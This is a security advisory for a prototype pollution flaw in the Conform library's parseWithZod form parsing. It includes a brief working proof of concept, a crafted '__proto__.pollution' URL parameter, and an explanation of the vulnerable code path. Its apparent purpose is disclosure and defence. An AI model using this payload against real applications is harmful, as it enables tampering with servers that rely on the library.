Summary
Conform allows the parsing of nested objects in the form of object.property. Due to an improper implementation of this feature, an attacker can exploit it to trigger prototype pollution by passing a crafted input to parseWith... functions.
PoC
const { parseWithZod } = require('@conform-to/zod');
const { z } = require("zod");
const param = new URLSearchParams("__proto__.pollution=polluted");
const schema = z.object({ "a": z.string() });
parseWithZod(param, { schema });
console.log("pollution:", ({}).pollution); // should print "polluted"Details
The invocation of the parseWithZod function in the above PoC triggers the setValue function through getSubmissionContext and parse, executing the following process, resulting in prototype pollution:
let pointer = value;
pointer.__proto__ = pointer.__proto__;
pointer = pointer.__proto__;
pointer.polluted = "polluted";
This is caused by the lack of object existence checking on line 117 in formdata.ts, where the code only checks for the presence of pointer[key] without proper validation.
Impact
Applications that use conform for server-side validation of form data or URL parameters are affected by this vulnerability.
References
key-moon Reporter
vtsvetkov-splunk Analyst
Summary
Conform allows the parsing of nested objects in the form of
object.property. Due to an improper implementation of this feature, an attacker can exploit it to trigger prototype pollution by passing a crafted input toparseWith...functions.PoC
Details
The invocation of the
parseWithZodfunction in the above PoC triggers thesetValuefunction throughgetSubmissionContextandparse, executing the following process, resulting in prototype pollution:This is caused by the lack of object existence checking on line 117 in formdata.ts, where the code only checks for the presence of
pointer[key]without proper validation.Impact
Applications that use conform for server-side validation of form data or URL parameters are affected by this vulnerability.
References